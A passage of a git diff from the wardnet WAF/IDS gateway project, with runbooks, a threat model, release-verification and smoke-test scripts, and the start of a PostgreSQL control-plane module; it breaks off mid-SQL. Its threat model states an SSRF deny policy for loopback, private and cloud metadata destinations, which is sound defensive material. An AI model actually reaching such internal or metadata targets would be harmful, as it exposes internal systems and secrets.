([#97](https://github.com/ContextualWisdomLab/wardnet/pull/97), stacked on #96). +Operator-visible: `CORAZA_LIB_PATH` + `CORAZA_RULES_PATH`/`CORAZA_DIRECTIVES`; +`/healthz.proven_engine=coraza_in_process`; `GET /api/waf/engine-status` +`in_process_configured` / `in_process_rules`; missing library fails before +readiness (`tests/binary.rs::binary_fail_closes_when_libcoraza_path_is_missing`). +Driving tests: `gateway_blocks_live_request_from_in_process_libcoraza` and +`stub_engine_blocks_crs_probe_and_allows_clean`. In-process transactions now +receive the same bounded forwarded-header allowlist as the sidecar (never +`Authorization`). Do not re-implement #78, the #86 sidecar slice, or the #79 pin. + +Issue **#80** first slice (PostgreSQL production authority). Non-loopback binds +fail closed without `CONTROL_PLANE_DATABASE_URL`. Operator-visible: +`/healthz.persistence=postgres`; credentials key `control_plane_url`. Driving +tests: `run_from_env_fail_closes_public_bind_without_postgres`, +`binary_fail_closes_non_loopback_listen_without_postgres`, +`binary_fail_closes_when_control_plane_url_is_not_postgres`, +`postgres_roundtrip_seeded_snapshot_when_database_url_is_set` (CI postgres +service). Do not re-implement #78, the #86 sidecar/libcoraza slices, or the +issue #79 pin. + +Issue **#80** remaining: HASH-partition `security_event` by `tenant_id` (8 +children) stacked on #103. Still-valid #103 Devin finding: `verify()` now +accepts schema 2..=current so a role-only/HASH-layout upgrade cannot void +the last pre-upgrade logical backup. Do not re-implement #78, sidecar, pin, +libcoraza, the postgres gate, outbox, rustls, retention, backup/restore, or +the runtime role. + +Issue **#80** last remainder: optimistic concurrency on +`tenant_account.snapshot_version`. Stale snapshot persist returns HTTP 409. +Restores overwrite. Do not re-implement #78, sidecar, pin, libcoraza, the +postgres gate, outbox, rustls, retention, backup/restore, runtime role, or HASH. + +Issue **#81** extra consumers stacked on #105: TAXII poll, Clearfolio submit, +and contextual-orchestrator SOC analysis go through the leased outbox on +PostgreSQL. `load_postgres` also advances `snapshot_version` after the startup +save so the first management write cannot false-conflict (Devin #105). Do not +re-implement #78, sidecar, pin, libcoraza, the postgres gate, outbox, rustls, + retention, backup/restore, runtime role, HASH, or OCC. + +## Next hourly loop (do, do not report) + +1. Second independent APPROVE on #91/#92. Do not `--admin`. +2. Keep #94 independently; #95 then #96 then #97 then #98 then #99 then #105 + then this consumers PR merge-ready. Do not `--admin`. +3. Next runtime gap if policy still blocks: signed release/promotion (#84) or + Keyverse identity (#82) after the postgres stack. +4. Refresh this file’s PR/Issue tables from `gh pr list` / `gh issue list`. diff --git a/docs/research/outbound-egress-security.md b/docs/research/outbound-egress-security.md new file mode 100644 index 0000000..be04cca --- /dev/null +++ b/docs/research/outbound-egress-security.md @@ -0,0 +1,34 @@ +# Outbound egress security research + +Wardnet's fetch boundary follows two research-backed constraints: destination +authorization must cover resolved addresses, and the authorized address set must +remain bound to the subsequent connection. URL-string filtering alone does not +cover DNS rebinding or redirects. + +Jackson et al. describe DNS rebinding as a firewall-circumvention technique and +evaluate policy-based pinning and hostname authorization as deployable defenses. +Wardnet therefore evaluates every resolved address, rejects denied address +classes, and gives each fetch hop a request-local DNS pin board so the HTTP +connection cannot perform a second, different resolution. + +Jabiyev et al. show that SSRF defenses are bypassed when validation and the +actual network request are separated, including through changing DNS answers. +Wardnet keeps URL parsing, address-class policy, redirect validation, and the +connect-time address set inside one egress owner. Redirects are disabled in the +HTTP client and followed manually only after a new policy evaluation. + +## References + +Jackson, C., Barth, A., Bortz, A., Shao, W., & Boneh, D. (2009). Protecting +browsers from DNS rebinding attacks. *ACM Transactions on the Web, 3*(1), 1–26. +https://doi.org/10.1145/1462148.1462150. Author publication +page and manuscript: https://cs.stanford.edu/people/dabo/pubs/abstracts/dnsrebind.html + +Jabiyev, B., Mirzaei, O., Kharraz, A., & Kirda, E. (2021). Preventing server-side +request forgery attacks. In *Proceedings of the 36th ACM/SIGAPP Symposium on +Applied Computing* (pp. 1626–1635). +https://doi.org/10.1145/3412841.3442036. Author-hosted manuscript: +https://theseclab.org/publications/sac21.pdf + +The papers are linked rather than copied because redistribution rights for the +publisher versions were not established for this repository. diff --git a/docs/runbooks/operations.md b/docs/runbooks/operations.md index 9b6b701..85508b0 100644 --- a/docs/runbooks/operations.md +++ b/docs/runbooks/operations.md @@ -50,7 +50,7 @@ WAF_IDS_STATE_PATH=./waf-ids-state.local.json \ cargo run ``` -Health reports `credentials_source` (`file` / `env` / `none`) and +Health reports `credentials_source` (`file` / `env` / `mixed` / `none`) and `admin_auth_configured` (boolean) without exposing secret values. ## Health Check @@ -65,8 +65,35 @@ Expected fields: - `persistence`: `memory` or `file` - `dnsbl_origin`: configured DNSBL origin without a trailing dot - `event_limit`: retained security event count -- `credentials_source`: `file`, `env`, or `none` +- `credentials_source`: `file`, `env`, `mixed`, or `none` - `admin_auth_configured`: whether any admin write token is configured +- `backup`: `ready` on PostgreSQL (logical export/restore available) or `disabled` on file/memory +- `event_partitions`: HASH child count for `security_event` (8 on PostgreSQL, 0 on file/memory) + +## Control-plane backup and restore drill + +PostgreSQL mode (`/healthz.persistence=postgres`) is the only authority that +can export or restore. File/memory adapters report `/healthz.backup=disabled`. + +Declared RPO: last successful `GET /api/backup`. Declared RTO: 60 seconds for +the isolated drill. + +```bash +# Export a hashed tenant snapshot (admin read token). Client IPs and paths stay unmasked. +curl -fsS -H "X-Admin-Token: $ADMIN_TOKEN" http://127.0.0.1:8080/api/backup > backup.json + +# Isolated restore drill (does not replace the live tenant). +curl -fsS -H "X-Admin-Token: $ADMIN_TOKEN" -X POST http://127.0.0.1:8080/api/backup/drill + +# Restore the live tenant from an artifact (admin write). Schema and payload-hash +# mismatches fail closed. The action is audited. +curl -fsS -H "X-Admin-Token: $ADMIN_TOKEN" -H 'content-type: application/json' \ + -d @backup.json -X POST http://127.0.0.1:8080/api/backup +``` + +The artifact does not contain admin tokens or `CONTROL_PLANE_DATABASE_URL`. +Physical/PITR backups remain a DBA concern; this is the application-level +recovery path with tenant RLS preserved. ## Smoke Test @@ -100,10 +127,10 @@ This baseline is suitable for local and controlled lab deployments. Internet-fac - TLS termination and identity-aware admin access - upstream allowlists and egress controls -- durable database storage with backups +- durable database storage with backups (PostgreSQL logical export at `GET /api/backup`; isolated restore drill at `POST /api/backup/drill`; declared RPO is last successful export, declared RTO is 60s) - SSO/OIDC federation (multi-token RBAC with readonly role and audit-log auth are available) - asynchronous event persistence or a database-backed event store for high-throughput gateway traffic -- In-process Coraza embedding (HTTP audit ingest at `POST /api/waf/coraza/audit` already fuses block hits into DNSBL/`client_ip` indicators for gateway enforcement) +- Detection-quality corpora and Suricata EVE tail/shipper remain open. In-process libcoraza (`CORAZA_LIB_PATH` + `CORAZA_RULES_PATH` or `CORAZA_DIRECTIVES`) evaluates each live `/gateway` transaction; otherwise HTTP sidecar consult at `CORAZA_WAF_URL`. Audit ingest at `POST /api/waf/coraza/audit` still fuses block hits into DNSBL/`client_ip` indicators. Set `PROVEN_ENGINE_FAIL_CLOSED=true` in production so an engine outage does not silently allow traffic. - Live Suricata EVE tailing / shipper (HTTP ingest of EVE alerts is available at `POST /api/ids/suricata/eve`) - Live MISP REST pull or live OpenCTI GraphQL pull (HTTP STIX/MISP/OpenCTI document ingest and TAXII 2.1 poll are available at `POST /api/threat-intel/stix`, `POST /api/threat-intel/misp`, `POST /api/threat-intel/opencti`, and `POST /api/threat-intel/taxii/poll`) - human approval workflow for AI SOC recommendations that change enforcement diff --git a/docs/runbooks/release.md b/docs/runbooks/release.md new file mode 100644 index 0000000..edbcccd --- /dev/null +++ b/docs/runbooks/release.md @@ -0,0 +1,112 @@ +# Release, promotion, and rollback + +Issue #84. IEEE/ACM PDFs are not redistributed. Buyer evidence path: +`GET /api/commercial/evidence-manifest` lists this runbook. NIST SP 800-218 +is committed at `docs/papers/nist-sp-800-218-ssdf.pdf`. + +## Standards grounding + +NIST. (2022). *Secure software development framework (SSDF) version 1.1: +Recommendations for mitigating the risk of software vulnerabilities* +(SP 800-218). https://doi.org/10.6028/NIST.SP.800-218 + +- Design impact: release admission requires an annotated signed tag on + `origin/main`, and the workflow emits verifiable provenance, signatures, and + SBOMs so the release artifact can be traced back to one reviewed source head. + +OpenSSF. (2023). *SLSA v1.0 specification*. https://slsa.dev/spec/v1.0/ + +- Design impact: promotion authority is the immutable digest plus provenance, + not a mutable tag, which is why the runbook pins Kubernetes deployments from + `IMAGE-DIGEST.txt` and forbids a moving `latest` tag. + +## Immutable artifacts + +A git tag `vX.Y.Z` starts `.github/workflows/release.yml`. Lightweight +tags are refused (`scripts/admit-release-tag.sh` requires an annotated +tag object). The workflow then: + +1. Builds `waf-ids-ai-soc` with `cargo build --locked --release` +2. Writes basename `SHA256SUMS` via `scripts/release-checksums.sh` +3. Writes SPDX SBOMs via `scripts/release-sbom.sh` (binary and image) +4. Keyless-signs the binary, checksums, SBOMs, and image-digest file +5. Pushes `ghcr.io/contextualwisdomlab/waf-ids-ai-soc:vX.Y.Z` and records + the content digest in `IMAGE-DIGEST.txt` +6. Keyless-signs the image **by digest** and attests the image SBOM +7. Attaches GitHub artifact attestations (SLSA provenance + SBOM) +8. Creates the GitHub Release **only after** signatures succeed + +GHCR tags are aliases. Promotion authority is the digest plus signatures, +not the tag. There is no moving `latest` tag. + +Operators verify a binary with: + +```bash +expected_tag="vX.Y.Z" + +# SHA256SUMS records basenames only, so this works next to the download +sha256sum -c SHA256SUMS +# or: shasum -a 256 -c SHA256SUMS + +cosign verify-blob \ + --bundle waf-ids-ai-soc-linux-x86_64.sigstore.json \ + --certificate-oidc-issuer https://token.actions.githubusercontent.com \ + --certificate-identity-regexp "^https://github\\.com/ContextualWisdomLab/wardnet/\\.github/workflows/release\\.yml@refs/tags/${expected_tag}$" \ + waf-ids-ai-soc-linux-x86_64 + +gh attestation verify waf-ids-ai-soc-linux-x86_64 \ + --repo ContextualWisdomLab/wardnet \ + --source-ref "refs/tags/${expected_tag}" +``` + +Operators verify the image with: + +```bash +expected_tag="vX.Y.Z" +ref="$(cat IMAGE-DIGEST.txt)" # ghcr.io/...@sha256:... +cosign verify \ + --certificate-oidc-issuer https://token.actions.githubusercontent.com \ + --certificate-identity-regexp "^https://github\\.com/ContextualWisdomLab/wardnet/\\.github/workflows/release\\.yml@refs/tags/${expected_tag}$" \ + "$ref" +cosign verify-attestation --type spdxjson \ + --certificate-oidc-issuer https://token.actions.githubusercontent.com \ + --certificate-identity-regexp "^https://github\\.com/ContextualWisdomLab/wardnet/\\.github/workflows/release\\.yml@refs/tags/${expected_tag}$" \ + "$ref" +gh attestation verify "oci://${ref}" \ + --repo ContextualWisdomLab/wardnet \ + --source-ref "refs/tags/${expected_tag}" +``` + +Tampered bytes, a substituted digest, or a tag that no longer matches +`IMAGE-DIGEST.txt` fail verification. Do not promote a tag whose digest +changed. + +## Promotion + +1. Tag from the merge commit on `main`: `git tag -a vX.Y.Z -m "wardnet vX.Y.Z"` + (lightweight `git tag vX.Y.Z` is not admitted) +2. `git push origin vX.Y.Z` +3. Wait for the Release workflow +4. Pin Kubernetes from `IMAGE-DIGEST.txt` (not `latest`, not the tag alone): + +```bash +scripts/pin-k8s-digest.sh IMAGE-DIGEST.txt +``` + +```yaml +image: ghcr.io/contextualwisdomlab/waf-ids-ai-soc@sha256: +imagePullPolicy: IfNotPresent +``` + +The committed lab manifest still uses `ghcr.io/contextualwisdomlab/waf-ids-ai-soc:0.1.0` +until a tagged image exists; bump that pin in the same release PR as the tag. + +## Rollback + +1. Identify the previous GitHub Release tag and its `IMAGE-DIGEST.txt` +2. Set the Deployment image back to that digest +3. Confirm `/healthz` and `/api/commercial/readiness` on the rolled-back replica +4. Do not retag or overwrite an existing `v*` image + +Declared rollback unit: one immutable digest. Remaining on #84: coverage +and attack-evidence bundle for the signed artifacts. diff --git a/docs/security/compliance-mapping.md b/docs/security/compliance-mapping.md index 8251d79..0123c23 100644 --- a/docs/security/compliance-mapping.md +++ b/docs/security/compliance-mapping.md @@ -4,7 +4,7 @@ This document maps the commercial baseline to common enterprise security review | Area | Baseline Evidence | Gap Before Regulated Production | | --- | --- | --- | -| Secure SDLC | Rust implementation, tests, clippy, smoke script | Signed releases, SBOM, SAST/DAST gates | +| Secure SDLC | Rust implementation, tests, clippy, smoke script, tagged keyless Cosign + SPDX SBOM + SLSA attestations | Admission that rejects unsigned tags, hermetic reproducible builds | | Access Control | `ADMIN_TOKEN` / multi-token RBAC (`token:actor:role`, including readonly) for write APIs and audit-log read | SSO/OIDC, SCIM, MFA enforcement | | Auditability | Security events and support bundle | Immutable admin audit log | | Data Protection | No default external telemetry, no secrets in support bundle | Encryption at rest, retention policy | @@ -18,3 +18,22 @@ This document maps the commercial baseline to common enterprise security review ## Review Position The project can support buyer lab validation and paid pilot discussions after this baseline. It should not be represented as fully compliant for PCI DSS, ISO 27001, SOC 2, or regulated production without the remaining controls above. + +## Standards grounding + +NIST. (2022). *Secure software development framework (SSDF) version 1.1: +Recommendations for mitigating the risk of software vulnerabilities* +(SP 800-218). https://doi.org/10.6028/NIST.SP.800-218 + +- Design impact: the Secure SDLC row is evidence-bound to build, test, and + attestation artifacts rather than a policy-only claim, and the regulated + production gap stays explicit until signed release admission and hermetic + verification are proven on protected `main`. + +American Institute of Certified Public Accountants. (2017). *Trust services +criteria for security, availability, processing integrity, confidentiality, +and privacy*. + +- Design impact: the table is organized around buyer-review control families + such as access control, auditability, availability, and change control, but + it remains a gap map instead of a certification statement. diff --git a/docs/security/threat-model.md b/docs/security/threat-model.md index 8cf0a35..f54b092 100644 --- a/docs/security/threat-model.md +++ b/docs/security/threat-model.md @@ -24,8 +24,8 @@ | --- | --- | --- | --- | | Unauthorized management write | Route takeover or false blocking | `X-Admin-Token` write gate; multi-token RBAC with actor labels and readonly role; audit log for successful writes | SSO/OIDC, mTLS or identity proxy, SCIM | | Malicious threat feed import | False positives or broad blocks | Validation, route-scoped enforcement | Source signing, feed confidence, staged promotion | -| State file corruption | Startup failure or stale policy | JSON parse failure surfaces startup error | Database, backup, schema migration | -| Upstream SSRF through routes | Internal network exposure | Upstream scheme validation | Upstream allowlists, egress policy | +| State file corruption | Startup failure or stale policy | JSON parse failure surfaces startup error; production binds require PostgreSQL (`src/control_plane.rs`) with RLS; runtime is `wardnet_runtime` (not superuser/owner); `sslmode=require` uses rustls; hashed logical backup plus isolated restore drill (`GET /api/backup`, `POST /api/backup/drill`) | Physical/PITR backups owned by the DBA | +| Upstream SSRF through routes | Internal network exposure | Scheme validation plus fail-closed destination policy (`src/destination.rs`): deny loopback/private/link-local/metadata unless allowlisted; denylist wins; no ambient HTTP proxy; no redirects. After evaluation, HTTP connects only to those IPs (Host/SNI preserved). Coraza sidecar URLs use the same policy. | Kubernetes NetworkPolicy egress as defense in depth | | Gateway DoS | Availability loss | Rust memory safety, event retention limit | Rate limits, body limits, async event sink | | DNSBL abuse | Reputation damage | Loopback response-code validation | Authoritative DNS service, signing, publisher workflow | | Secret disclosure | Admin compromise | Support bundle excludes admin token; secrets bootstrapped into credential registry (`WAF_IDS_CREDENTIALS_PATH` preferred over long-lived env); health exposes source label only | External secret manager / SSO, rotation, access review | diff --git a/scripts/admit-release-tag.sh b/scripts/admit-release-tag.sh new file mode 100755 index 0000000..1a8e1da --- /dev/null +++ b/scripts/admit-release-tag.sh @@ -0,0 +1,30 @@ +#!/usr/bin/env bash +# Fail closed unless REF is a signed annotated tag that peels to the fetched +# origin/main commit. +set -euo pipefail +if [[ $# -ne 1 ]]; then + echo "usage: $0 " >&2 + exit 1 +fi +ref="$1" +if [[ ! "$ref" =~ ^v[0-9]+\.[0-9]+\.[0-9]+$ ]]; then + echo "admit-release-tag: $ref is not a vX.Y.Z tag" >&2 + exit 1 +fi +kind="$(git cat-file -t "$ref" 2>/dev/null || true)" +if [[ "$kind" != "tag" ]]; then + echo "admit-release-tag: $ref is ${kind:-missing}, not an annotated tag; use git tag -a" >&2 + exit 1 +fi +if ! git verify-tag "$ref" >/dev/null 2>&1; then + echo "admit-release-tag: $ref is not a cryptographically signed annotated tag" >&2 + exit 1 +fi +git fetch --quiet origin main +tag_commit="$(git rev-parse "${ref}^{commit}")" +main_commit="$(git rev-parse "origin/main^{commit}")" +if [[ "$tag_commit" != "$main_commit" ]]; then + echo "admit-release-tag: $ref peels to $tag_commit, expected origin/main $main_commit" >&2 + exit 1 +fi +echo "admit-release-tag: admitted signed annotated tag $ref at $tag_commit" diff --git a/scripts/k6-gateway.sh b/scripts/k6-gateway.sh new file mode 100755 index 0000000..1e0c0c0 --- /dev/null +++ b/scripts/k6-gateway.sh @@ -0,0 +1,60 @@ +#!/usr/bin/env bash +set -euo pipefail + +ROOT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)" +LOAD_DIR="$(mktemp -d)" +LOG_FILE="$LOAD_DIR/wardnet.log" +PORT="$(python3 - <<'PY' +import socket + +with socket.socket() as listener: + listener.bind(("127.0.0.1", 0)) + print(listener.getsockname()[1]) +PY +)" +BASE_URL="http://127.0.0.1:$PORT" +SERVER_PID="" + +# shellcheck disable=SC2329 # invoked through the EXIT trap +cleanup() { + if [[ -n "$SERVER_PID" ]] && kill -0 "$SERVER_PID" 2>/dev/null; then + kill "$SERVER_PID" 2>/dev/null || true + wait "$SERVER_PID" 2>/dev/null || true + fi + rm -rf "$LOAD_DIR" +} +trap cleanup EXIT + +command -v k6 >/dev/null || { + echo "k6 is required" >&2 + exit 1 +} + +(cd "$ROOT_DIR" && cargo build --locked --quiet) + +( + cd "$ROOT_DIR" + BIND_ADDR="127.0.0.1:$PORT" \ + EVENT_LIMIT="1000" \ + RATE_LIMIT="0" \ + CONTROL_PLANE_DATABASE_URL="" \ + exec target/debug/waf-ids-ai-soc +) >"$LOG_FILE" 2>&1 & +SERVER_PID="$!" + +for _ in $(seq 1 120); do + if curl -fsS "$BASE_URL/healthz" >/dev/null 2>&1; then + WARDNET_BASE_URL="$BASE_URL" k6 run "$ROOT_DIR/tests/load/gateway.js" + exit 0 + fi + if ! kill -0 "$SERVER_PID" 2>/dev/null; then + cat "$LOG_FILE" >&2 + exit 1 + fi + sleep 0.25 +done + +cat "$LOG_FILE" >&2 +cp "$LOG_FILE" "$ROOT_DIR/target/k6-gateway-server.log" +echo "Wardnet did not become ready" >&2 +exit 1 diff --git a/scripts/pin-k8s-digest.sh b/scripts/pin-k8s-digest.sh new file mode 100755 index 0000000..0a30976 --- /dev/null +++ b/scripts/pin-k8s-digest.sh @@ -0,0 +1,19 @@ +#!/usr/bin/env bash +# Fail closed unless IMAGE-DIGEST.txt is a GHCR content digest, then print +# the Kubernetes image line operators must pin (never a floating tag). +set -euo pipefail +if [[ $# -ne 1 ]]; then + echo "usage: $0 " >&2 + exit 1 +fi +file="$1" +if [[ ! -f "$file" ]]; then + echo "pin-k8s-digest: missing $file" >&2 + exit 1 +fi +ref="$(tr -d '[:space:]' < "$file")" +if [[ ! "$ref" =~ ^ghcr\.io/contextualwisdomlab/waf-ids-ai-soc@sha256:[0-9a-f]{64}$ ]]; then + echo "pin-k8s-digest: refused non-digest or wrong image: $ref" >&2 + exit 1 +fi +printf 'image: %s\nimagePullPolicy: IfNotPresent\n' "$ref" diff --git a/scripts/release-checksums.sh b/scripts/release-checksums.sh new file mode 100755 index 0000000..a9d97c8 --- /dev/null +++ b/scripts/release-checksums.sh @@ -0,0 +1,24 @@ +#!/usr/bin/env bash +# Emit SHA-256 checksums with basename-only paths so `sha256sum -c` +# works next to the downloaded GitHub Release binary. +set -euo pipefail +if [[ $# -lt 1 ]]; then + echo "usage: $0 ..." >&2 + exit 1 +fi + +hash_one() { + local file="$1" + if command -v sha256sum >/dev/null 2>&1; then + sha256sum -- "$file" + else + shasum -a 256 -- "$file" + fi +} + +for file in "$@"; do + line="$(hash_one "$file")" + digest="${line%% *}" + name="$(basename -- "$file")" + printf '%s %s\n' "$digest" "$name" +done diff --git a/scripts/release-sbom.sh b/scripts/release-sbom.sh new file mode 100755 index 0000000..3d61933 --- /dev/null +++ b/scripts/release-sbom.sh @@ -0,0 +1,67 @@ +#!/usr/bin/env bash +# Generate an SPDX 2.3 JSON SBOM with Syft. Fail closed if syft is missing +# or the output is not SPDX JSON. Used by tagged releases (issue #84). +set -euo pipefail + +usage() { + echo "usage: $0 --output FILE SOURCE" >&2 + echo "SOURCE is a file, directory, or image reference Syft accepts." >&2 + exit 1 +} + +output="" +source="" +while [[ $# -gt 0 ]]; do + case "$1" in + --output) + [[ $# -ge 2 ]] || usage + output="$2" + shift 2 + ;; + -h|--help) + usage + ;; + --) + shift + break + ;; + -*) + usage + ;; + *) + if [[ -n "$source" ]]; then + usage + fi + source="$1" + shift + ;; + esac +done + +if [[ -z "$output" || -z "$source" ]]; then + usage +fi + +if ! command -v syft >/dev/null 2>&1; then + echo "syft is required to generate an SPDX SBOM" >&2 + exit 1 +fi + +mkdir -p "$(dirname -- "$output")" +syft "$source" -o "spdx-json=$output" + +python3 - "$output" <<'PY' +import json +import sys + +path = sys.argv[1] +with open(path, encoding="utf-8") as handle: + document = json.load(handle) +version = document.get("spdxVersion") or document.get("spdx_version") +if not isinstance(version, str) or not version.startswith("SPDX-"): + raise SystemExit(f"{path} is not SPDX JSON (spdxVersion={version!r})") +packages = document.get("packages") +if not isinstance(packages, list): + raise SystemExit(f"{path} SPDX document has no packages list") +print(f"{path}: {version} packages={len(packages)}") +PY diff --git a/scripts/smoke.sh b/scripts/smoke.sh index 5df0c73..25b0b59 100755 --- a/scripts/smoke.sh +++ b/scripts/smoke.sh @@ -34,6 +34,7 @@ start_server() { WAF_IDS_STATE_PATH="$STATE_FILE" \ DNSBL_ORIGIN="dnsbl.test" \ EVENT_LIMIT="5" \ + CONTROL_PLANE_DATABASE_URL="" \ cargo run --quiet ) >"$LOG_FILE" 2>&1 & SERVER_PID="$!" @@ -73,12 +74,35 @@ PY start_server health="$(curl -fsS "$BASE_URL/healthz")" +echo "healthz body: $health" assert_json_field "$health" 'data["status"] == "ok"' assert_json_field "$health" 'data["persistence"] == "file"' assert_json_field "$health" 'data["dnsbl_origin"] == "dnsbl.test"' assert_json_field "$health" 'data["event_limit"] == 5' - -curl -fsS "$BASE_URL/admin" | grep -q "ContextualWisdomLab WAF/IDS/AI SOC Gateway" +assert_json_field "$health" 'data["proven_engine"] == "ingest_hints_only"' +assert_json_field "$health" 'data["proven_engine_fail_closed"] is False' +assert_json_field "$health" 'data["destination_mode"] == "development"' +assert_json_field "$health" 'data["outbox"] == "disabled"' +assert_json_field "$health" 'data["outbox_pending"] == 0' +assert_json_field "$health" 'data["event_partitions"] == 0' + +engine_status="$(curl -fsS "$BASE_URL/api/waf/engine-status")" +assert_json_field "$engine_status" 'data["mode"] == "ingest_hints_only"' +assert_json_field "$engine_status" 'data["in_path"] is False' + +admin_html="$(curl -fsS "$BASE_URL/admin")" +echo "admin body bytes: ${#admin_html}" +case "$admin_html" in + *"ContextualWisdomLab WAF/IDS/AI SOC Gateway"*) ;; + *) + echo "admin console body missing designed product title" >&2 + exit 1 + ;; +esac +readiness="$(curl -fsS "$BASE_URL/api/commercial/readiness")" +echo "readiness body: $readiness" +assert_json_field "$readiness" 'data["target_sale_value_krw"] == 2000000000' +assert_json_field "$readiness" '"readiness_level" in data' unauthorized_code="$( curl -sS -o /dev/null -w '%{http_code}' \ @@ -155,6 +179,7 @@ assert_json_field "$kpis" 'data["stale_threat_feed_count"] == 0' assert_json_field "$kpis" 'data["audit_log_count"] >= 3' readiness="$(curl -fsS "$BASE_URL/api/commercial/readiness")" +echo "readiness sale-ready body: $readiness" assert_json_field "$readiness" 'data["target_sale_value_krw"] == 2000000000' assert_json_field "$readiness" 'data["ready_for_enterprise_sale"] is True' assert_json_field "$readiness" 'data["readiness_level"] == "sale_ready"' @@ -187,7 +212,7 @@ assert_json_field "$support_bundle" 'data["kpis"]["fresh_threat_feed_count"] == assert_json_field "$support_bundle" 'data["audit_log_count"] >= 3' assert_json_field "$support_bundle" 'data["threat_feed_freshness"][0]["stale"] is False' -audit_logs="$(curl -fsS "$BASE_URL/api/audit-logs")" +audit_logs="$(curl -fsS -H "x-admin-token: $ADMIN_TOKEN_VALUE" "$BASE_URL/api/audit-logs")" assert_json_field "$audit_logs" 'any(log["action"] == "upsert_route" and log["resource_id"] == "block" for log in data)' assert_json_field "$audit_logs" 'any(log["action"] == "update_commercial_license" and log["resource_id"] == "cwlab-enterprise" for log in data)' assert_json_field "$audit_logs" 'any(log["action"] == "import_threat_feed" and log["resource_id"] == "misp-seoul" for log in data)' @@ -212,7 +237,7 @@ license="$(curl -fsS "$BASE_URL/api/commercial/license")" assert_json_field "$license" 'data["license_status"] == "active"' feeds="$(curl -fsS "$BASE_URL/api/threat-feeds")" assert_json_field "$feeds" 'len(data) == 1' -audit_logs="$(curl -fsS "$BASE_URL/api/audit-logs")" +audit_logs="$(curl -fsS -H "x-admin-token: $ADMIN_TOKEN_VALUE" "$BASE_URL/api/audit-logs")" assert_json_field "$audit_logs" 'len(data) >= 3' echo "smoke ok: $BASE_URL with state $STATE_FILE" diff --git a/src/control_plane.rs b/src/control_plane.rs new file mode 100644 index 0000000..ac170ba --- /dev/null +++ b/src/control_plane.rs @@ -0,0 +1,3706 @@ +//! PostgreSQL control plane (issue #80). +//! +//! Production (non-loopback) binds require a control-plane URL. The JSON file +//! adapter remains for loopback/community use and is never selected as the +//! production authority. Tenant isolation is default-deny row-level security +//! with `FORCE ROW LEVEL SECURITY`; each transaction sets `wardnet.tenant_id`. + +use crate::outbox::{ + self, CLAIM_BATCH, DispatchError, EVENT_SECURITY_RECORDED, EVENT_SNAPSHOT_REPLACED, + LEASE_SECONDS, LIST_LIMIT, OutboxHealth, OutboxMessage, SCHEMA_VERSION, STATUS_DEAD_LETTER, + STATUS_LEASED, STATUS_PENDING, STATUS_PROCESSED, +}; +use serde::{Deserialize, Serialize}; +use std::future::Future; +use std::net::IpAddr; +use std::str::FromStr; +use std::time::Instant; +use tokio::sync::Mutex; +use tokio_postgres::{Client, GenericClient, NoTls, Row, Transaction}; +use tokio_postgres_rustls::MakeRustlsConnect; +use waf_ids_core::{ + AppData, AuditLogEntry, CommercialProfile, DnsblEntry, EnforcementMode, LicenseStatus, + ProductEdition, RouteConfig, SecurityEvent, Severity, ThreatFeedStatus, ThreatIndicator, +}; + +/// Default tenant used until Keyverse supplies claims (#82). +pub const DEFAULT_TENANT_ID: &str = "local-lab"; + +const MIGRATION_VERSION: i32 = 5; +/// Oldest logical-backup schema that restores on this binary. +/// +/// v3 only provisions `wardnet_runtime`. v4 HASH-partitions `security_event` +/// without changing the logical snapshot shape. A snapshot exported at schema +/// 2 is restorable here so those upgrades cannot void the declared RPO. +const MIN_RESTORABLE_SCHEMA_VERSION: i32 = 2; +/// HASH partitions for `security_event` (by `tenant_id`). +pub const EVENT_PARTITION_MODULUS: i32 = 8; +/// Non-owner, non-superuser role used after migrations so FORCE RLS binds. +pub const RUNTIME_ROLE: &str = "wardnet_runtime"; +/// Declared RPO: last successful `GET /api/backup` (on-demand logical snapshot). +pub const BACKUP_RPO: &str = "on-demand-logical-snapshot"; +/// Declared RTO budget for an isolated restore drill. +pub const BACKUP_RTO_BUDGET_MS: u64 = 60_000; +/// Session advisory lock for schema/partition DDL (cross-process). +const MIGRATION_LOCK_KEY: i64 = 80_201_680; + +/// Recoverable forward migration. Two-word snake_case names, 3NF, RLS. +pub const MIGRATION_SQL: &str = r#" +CREATE TABLE IF NOT EXISTS schema_migration ( + migration_version INTEGER PRIMARY KEY, + applied_at TIMESTAMPTZ NOT NULL DEFAULT now() +); + +CREATE TABLE IF NOT EXISTS tenant_account ( + tenant_id TEXT PRIMARY KEY, + event_sequence BIGINT NOT NULL, + audit_sequence BIGINT NOT NULL, + snapshot_version BIGINT NOT NULL DEFAULT 0 +); + +CREATE TABLE IF NOT EXISTS tenant_profile ( + tenant_id TEXT PRIMARY KEY REFERENCES tenant_account (tenant_id), + deployment_id TEXT NOT NULL, + edition_name TEXT NOT NULL, + license_status TEXT NOT NULL, + license_id TEXT, + licensee_name TEXT, + licensed_until_unix BIGINT, + licensed_node_count INTEGER, + annual_contract_value_krw BIGINT, + support_contact TEXT NOT NULL, + feature_list TEXT NOT NULL +); + +CREATE TABLE IF NOT EXISTS route_config ( + tenant_id TEXT NOT NULL REFERENCES tenant_account (tenant_id), + route_id TEXT NOT NULL, + path_prefix TEXT NOT NULL, + upstream_url TEXT NOT NULL, + enforcement_mode TEXT NOT NULL, + is_enabled BOOLEAN NOT NULL, + block_threshold INTEGER, + PRIMARY KEY (tenant_id, route_id) +); + +CREATE TABLE IF NOT EXISTS threat_indicator ( + tenant_id TEXT NOT NULL REFERENCES tenant_account (tenant_id), + indicator_type TEXT NOT NULL, + indicator_value TEXT NOT NULL, + indicator_source TEXT NOT NULL, + severity_name TEXT NOT NULL, + ttl_seconds BIGINT NOT NULL, + PRIMARY KEY (tenant_id, indicator_type, indicator_value, indicator_source) +); + +CREATE TABLE IF NOT EXISTS dnsbl_entry ( + tenant_id TEXT NOT NULL REFERENCES tenant_account (tenant_id), + host_address TEXT NOT NULL, + response_code TEXT NOT NULL, + block_reason TEXT NOT NULL, + entry_source TEXT NOT NULL, + ttl_seconds BIGINT NOT NULL, + prefix_length SMALLINT, + PRIMARY KEY (tenant_id, host_address) +); + +CREATE TABLE IF NOT EXISTS security_event ( + tenant_id TEXT NOT NULL REFERENCES tenant_account (tenant_id), + event_id BIGINT NOT NULL, + timestamp_unix BIGINT NOT NULL, + client_address TEXT, + route_id TEXT, + action_name TEXT NOT NULL, + event_reason TEXT NOT NULL, + event_score INTEGER NOT NULL, + request_path TEXT NOT NULL, + PRIMARY KEY (tenant_id, event_id) +); + +CREATE TABLE IF NOT EXISTS audit_record ( + 